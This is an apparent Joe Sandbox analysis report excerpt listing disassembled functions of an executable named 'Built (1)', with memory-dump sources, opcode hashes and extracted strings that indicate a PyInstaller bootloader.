                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: 431273df7c005eff8b086499786a7f8af66af839407972891033f6f8b32510fa
                                              • Instruction ID: f57b262dd07241b8b98b7292bb73bf4bc38744f6a924377191989fec15405e11
                                              • Opcode Fuzzy Hash: 431273df7c005eff8b086499786a7f8af66af839407972891033f6f8b32510fa
                                              • Instruction Fuzzy Hash: 3F514136A1865185F7248F29C04422D37A0EB54B69F244331DA7D977D8EFBBE852D7C0
                                              Function 00007FF6FFD22274 Relevance: .1, Instructions: 146COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: 3986d2e28db3ad4c814196551e744b7f12e089580c78501851383343d29f5119
                                              • Instruction ID: 096cbd40df9804e8f9d3a431e3dd9626408322c6b028e159d37bb80678f41985
                                              • Opcode Fuzzy Hash: 3986d2e28db3ad4c814196551e744b7f12e089580c78501851383343d29f5119
                                              • Instruction Fuzzy Hash: B4517136A1865182F7248B29D04423837A0EB55B69F244335EE6D977D4EFBBE843C7C0
                                              Function 00007FF6FFD22890 Relevance: .1, Instructions: 145COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: 56eab1984f79c1160248cb97b5e30aec2666dd062f10dae5dc3084fdbc1595d5
                                              • Instruction ID: 755e322a1c392aec535e3ea866c4732657e4d75505115c7e0546a0b1ed01e446
                                              • Opcode Fuzzy Hash: 56eab1984f79c1160248cb97b5e30aec2666dd062f10dae5dc3084fdbc1595d5
                                              • Instruction Fuzzy Hash: 02516036A2865585F7258B29C04023877A0EB45B59F244331EAAC977D8EF7BED42C7C0
                                              Function 00007FF6FFD22070 Relevance: .1, Instructions: 145COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: e4a792dd5f357ba9ab053cb868b8428acf2d0115ad083e523ed5123ef832f09c
                                              • Instruction ID: c5eba7eabed4e7c4a2645e1797d34cb4dc89e17a52fecb92f588c1184dfd2bbf
                                              • Opcode Fuzzy Hash: e4a792dd5f357ba9ab053cb868b8428acf2d0115ad083e523ed5123ef832f09c
                                              • Instruction Fuzzy Hash: 37518036A1865185F7258B29C44063837A0EB48B69F244331EE7C977D4EFBBE852C7C0
                                              Function 00007FF6FFD22480 Relevance: .1, Instructions: 145COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: 5b37b721d2520797c932084b48cf8e5c5b4bbfd8b4955e3aae9fbd8879836657
                                              • Instruction ID: ffb26e4c817131d21907a5ee0bfd3936e762e1faa95081ac3d79e4df32a6b236
                                              • Opcode Fuzzy Hash: 5b37b721d2520797c932084b48cf8e5c5b4bbfd8b4955e3aae9fbd8879836657
                                              • Instruction Fuzzy Hash: 20519336A1865185F7258F29C05023827A0EB95B5AF248331EE6C977E4EF7BE843C7C0
                                              Function 00007FF6FFD26750 Relevance: .1, Instructions: 138COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
                                              • Instruction ID: c28071994fde851ac6c5992ad3d3575781b947ceee35d54654e0c939cea05639
                                              • Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
                                              • Instruction Fuzzy Hash: 9541C852C0D79A44EB998A1845107B4A780EF62BA0D6853B4DDBED77C3FD0FA586C2C1
                                              Function 00007FF6FFD2AC50 Relevance: .1, Instructions: 126COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: BoundaryDeleteDescriptorErrorLast
                                              • String ID:
                                              • API String ID: 2050971199-0
                                              • Opcode ID: f111dc0bb75c4fd458f0a84966b8cb0fe478d08570652a426d7f95957c6d4c4f
                                              • Instruction ID: 70b3aedf2998005ee859e8e06b0dd2ba8d20f6e829a719a0e520c8892e9e05f7
                                              • Opcode Fuzzy Hash: f111dc0bb75c4fd458f0a84966b8cb0fe478d08570652a426d7f95957c6d4c4f
                                              • Instruction Fuzzy Hash: 6141E672714A5582EF48CF2AD95426973A1FB48FD0B499232DE2DD7BA4EE3DD4418380
                                              Function 00007FF6FFD284BC Relevance: .1, Instructions: 98COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: e0b9409b015bea46d2036294c0136b3200ade656a83a3c77deb383565566a918
                                              • Instruction ID: 1ce26aa0f8d6df3cce0d535eb383f224538d1c048a48c291e1460e473ff358be
                                              • Opcode Fuzzy Hash: e0b9409b015bea46d2036294c0136b3200ade656a83a3c77deb383565566a918
                                              • Instruction Fuzzy Hash: E931A232B09B9241E7259F25684127E6799AB84BA0F144339EBBD93BD5EF3CD0118684
                                              Function 00007FF6FFD3A620 Relevance: .0, Instructions: 32COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: c3f3f1020485e8a41a296fc930dbc96221e618d45f39aaa63d951921bdf06b5a
                                              • Instruction ID: 7493febcb02c4122766deb625efb5afe0c5ff4a076c979a17b0d43b9ae31ae4e
                                              • Opcode Fuzzy Hash: c3f3f1020485e8a41a296fc930dbc96221e618d45f39aaa63d951921bdf06b5a
                                              • Instruction Fuzzy Hash: 06F0FC72B192518BEB98DF6CA80362937D0F7083C0F44867DE6ACC7B54DA7C80608F44
                                              Function 00007FF6FFD1CA9C Relevance: .0, Instructions: 2COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: b04046989d87c8dc885ed01c2b3f2aaa9c0b13633c97905e42662c4d2108a614
                                              • Instruction ID: fd1d39ee4a990ab78dea4f87e179260a05e8401dcb97abc905a1aba872085244
                                              • Opcode Fuzzy Hash: b04046989d87c8dc885ed01c2b3f2aaa9c0b13633c97905e42662c4d2108a614
                                              • Instruction Fuzzy Hash: 49A0016394C842D0F7458B00A8521602360AB51388B510332D13E914E0AE7CA4509280
                                              Function 00007FF6FFD153F0 Relevance: 233.1, APIs: 44, Strings: 89, Instructions: 363libraryloaderCOMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: AddressProc
                                              • String ID: Failed to get address for PyConfig_Clear$Failed to get address for PyConfig_InitIsolatedConfig$Failed to get address for PyConfig_Read$Failed to get address for PyConfig_SetBytesString$Failed to get address for PyConfig_SetString$Failed to get address for PyConfig_SetWideStringList$Failed to get address for PyErr_Clear$Failed to get address for PyErr_Fetch$Failed to get address for PyErr_NormalizeException$Failed to get address for PyErr_Occurred$Failed to get address for PyErr_Print$Failed to get address for PyErr_Restore$Failed to get address for PyEval_EvalCode$Failed to get address for PyImport_AddModule$Failed to get address for PyImport_ExecCodeModule$Failed to get address for PyImport_ImportModule$Failed to get address for PyList_Append$Failed to get address for PyMarshal_ReadObjectFromString$Failed to get address for PyMem_RawFree$Failed to get address for PyModule_GetDict$Failed to get address for PyObject_CallFunction$Failed to get address for PyObject_CallFunctionObjArgs$Failed to get address for PyObject_GetAttrString$Failed to get address for PyObject_SetAttrString$Failed to get address for PyObject_Str$Failed to get address for PyPreConfig_InitIsolatedConfig$Failed to get address for PyRun_SimpleStringFlags$Failed to get address for PyStatus_Exception$Failed to get address for PySys_GetObject$Failed to get address for PySys_SetObject$Failed to get address for PyUnicode_AsUTF8$Failed to get address for PyUnicode_Decode$Failed to get address for PyUnicode_DecodeFSDefault$Failed to get address for PyUnicode_FromFormat$Failed to get address for PyUnicode_FromString$Failed to get address for PyUnicode_Join$Failed to get address for PyUnicode_Replace$Failed to get address for Py_DecRef$Failed to get address for Py_DecodeLocale$Failed to get address for Py_ExitStatusException$Failed to get address for Py_Finalize$Failed to get address for Py_InitializeFromConfig$Failed to get address for Py_IsInitialized$Failed to get address for Py_PreInitialize$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
                                              • API String ID: 190572456-4266016200
                                              • Opcode ID: 849092ee313d90182648ac5091f6841dd271f5938a0293141bcf3cafd9cdb4f6
                                              • Instruction ID: 09222b9f057e4f1753079703d2d6cff5da3e211f7e2ed9a269c7441cf17d2a0e
                                              • Opcode Fuzzy Hash: 849092ee313d90182648ac5091f6841dd271f5938a0293141bcf3cafd9cdb4f6
                                              • Instruction Fuzzy Hash: 7912B366A0EB0B90FB15CB44A89127433A1BF44B95B845335D93E863F4FFBCB56896C0
                                              Function 00007FF6FFD112A0 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 136COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: Message_fread_nolock
                                              • String ID: %s%c%s$Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$\$fread$fseek$malloc
                                              • API String ID: 3065259568-2316137593
                                              • Opcode ID: 94b47bd73b8ac421b5ad2dc55c9d043bd5ccfe6fc4188f5868c86561635a472a
                                              • Instruction ID: 08807dc41e33cee62e076dc3cedf01ea8c89197afd66df7ca053b596f33ba280
                                              • Opcode Fuzzy Hash: 94b47bd73b8ac421b5ad2dc55c9d043bd5ccfe6fc4188f5868c86561635a472a
                                              • Instruction Fuzzy Hash: 53517F61A0968346FB20AB11A8516FA7398AF44BC4F404331EE7DC7BDAFE6CE5459380
                                              Function 00007FF6FFD123D0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: MoveWindow$ObjectSelect$DrawReleaseText
                                              • String ID: P%
                                              • API String ID: 2147705588-2959514604
                                              • Opcode ID: 5b6577cad5280a8981d528861e2ae7c646745b175b361903b18278a3a03fe9da
                                              • Instruction ID: 977275c2c1d2f90c8a8436c7a074859ac4f017c0bf4aa880a7e6979dc26af0f8
                                              • Opcode Fuzzy Hash: 5b6577cad5280a8981d528861e2ae7c646745b175b361903b18278a3a03fe9da
                                              • Instruction Fuzzy Hash: 8A51E7366147A186D7349F26E4182BAB7A1F798BA5F004225EBEE83694EF3CD045DB10
                                              Function 00007FF6FFD26CE0 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: _invalid_parameter_noinfo
                                              • String ID: -$:$f$p$p
                                              • API String ID: 3215553584-2013873522
                                              • Opcode ID: d41d3ed49e0df0b37e7753a00fe59ce424ede8ed11cb6504f669504b003b63f2
                                              • Instruction ID: 4743c9e11187070dc65361ee7b33a787beac3e45696023ccd677e98f71651cba
                                              • Opcode Fuzzy Hash: d41d3ed49e0df0b37e7753a00fe59ce424ede8ed11cb6504f669504b003b63f2
                                              • Instruction Fuzzy Hash: 15129032A0C24386FB30AB15D1546B977A1FB41B50F944335EABAC66C4EF3EE5849BD0
                                              Function 00007FF6FFD218F8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: _invalid_parameter_noinfo
                                              • String ID: f$f$p$p$f
                                              • API String ID: 3215553584-1325933183
                                              • Opcode ID: d738f100ea2c585e80d131aafbe2a69e2e0acbd3b76fe5cf90b2b638373c2978
                                              • Instruction ID: 85fcf9c845dee065d9c51f8b19bdae22a61ee03aa970af3519c3ff54d10b6d38
                                              • Opcode Fuzzy Hash: d738f100ea2c585e80d131aafbe2a69e2e0acbd3b76fe5cf90b2b638373c2978
                                              • Instruction Fuzzy Hash: 7C129466E0C14386FB249A15D04467EB769FB80750F948335E6B9C7AC8EF7EE5809BC0
                                              Function 00007FF6FFD11590 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 99COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: Message
                                              • String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
                                              • API String ID: 2030045667-3659356012
                                              • Opcode ID: d09d5a1cbf220d97628c7150e28fab89aaee0e1264ed7ebe2865e3d04d34cad4
                                              • Instruction ID: 2b7c8c8bd8a459fb537509c40445153466001aba4ffa1590a86a8e54947feb6b
                                              • Opcode Fuzzy Hash: d09d5a1cbf220d97628c7150e28fab89aaee0e1264ed7ebe2865e3d04d34cad4
                                              • Instruction Fuzzy Hash: A7318D61B0864286FB20DB12A8416BA73A8EF44BD4F484331DE7D87AD5FE7DE5468380
                                              Function 00007FF6FFD1F330 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 312COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                              • String ID: csm$csm$csm
                                              • API String ID: 849930591-393685449
                                              • Opcode ID: 0e2dbf0607b23b863384daf6af73d36f13a88af7ca772ada99fba3557138c94c
                                              • Instruction ID: 3437c8b716d59fd964596bed5ffad378e66f99ccbf00473580b646456892ff67
                                              • Opcode Fuzzy Hash: 0e2dbf0607b23b863384daf6af73d36f13a88af7ca772ada99fba3557138c94c
                                              • Instruction Fuzzy Hash: 5DD17072A0874286FB20DB65D4402AD77A4FB45798F100335EEBD97B9AEF38E495C780
                                              Function 00007FF6FFD189B0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 104COMMON
                                              Download Yara Rule
                                              APIs
                                              • WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6FFD1101D), ref: 00007FF6FFD18A47
                                              • WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6FFD1101D), ref: 00007FF6FFD18A9E
                                              Strings
                                              Memory Dump Source
